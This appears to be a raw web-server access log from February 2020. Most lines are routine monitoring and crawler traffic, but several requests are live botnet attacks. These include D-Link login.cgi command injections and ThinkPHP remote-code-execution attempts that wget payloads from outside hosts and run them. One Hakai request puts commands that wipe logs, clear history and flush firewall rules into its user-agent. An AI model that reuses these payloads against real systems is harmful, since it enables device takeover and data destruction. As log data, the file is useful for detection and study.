121.178.8.198 - - [24/Feb/2020:15:02:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:15:03:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:04:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:05:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:06:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:07:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:15:08:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:15:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:09:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:10:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:11:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:12:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:14:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:15:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.43.54.11 - - [24/Feb/2020:15:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:15:16:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:17:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:18:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:19:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:20:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:22:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:23:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:24:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.248.37.214 - - [24/Feb/2020:15:25:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:15:25:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:26:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.39 - - [24/Feb/2020:15:30:17 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.41 - - [24/Feb/2020:15:30:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [24/Feb/2020:15:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
173.63.56.47 - - [24/Feb/2020:15:37:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:15:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.192.134.90 - - [24/Feb/2020:15:41:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "okhttp/3.6.0"
212.91.246.72 - - [24/Feb/2020:15:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:15:48:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:15:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:15:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [24/Feb/2020:16:16:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:16:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.224.204.88 - - [24/Feb/2020:16:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
89.232.34.2 - - [24/Feb/2020:16:16:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:16:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.251.158.233 - - [24/Feb/2020:16:21:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:16:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.249.141.119 - - [24/Feb/2020:16:22:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:16:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [24/Feb/2020:16:23:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [24/Feb/2020:16:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.214.244 - - [24/Feb/2020:16:24:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:16:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [24/Feb/2020:16:36:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [24/Feb/2020:16:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.94.12 - - [24/Feb/2020:16:37:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:16:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.8.189.150 - - [24/Feb/2020:16:39:45 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [24/Feb/2020:16:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
212.91.246.72 - - [24/Feb/2020:16:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [24/Feb/2020:16:44:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.219.22 - - [24/Feb/2020:16:44:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:16:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:16:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:16:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:16:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:05:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.216.52.56 - - [24/Feb/2020:17:08:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:17:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
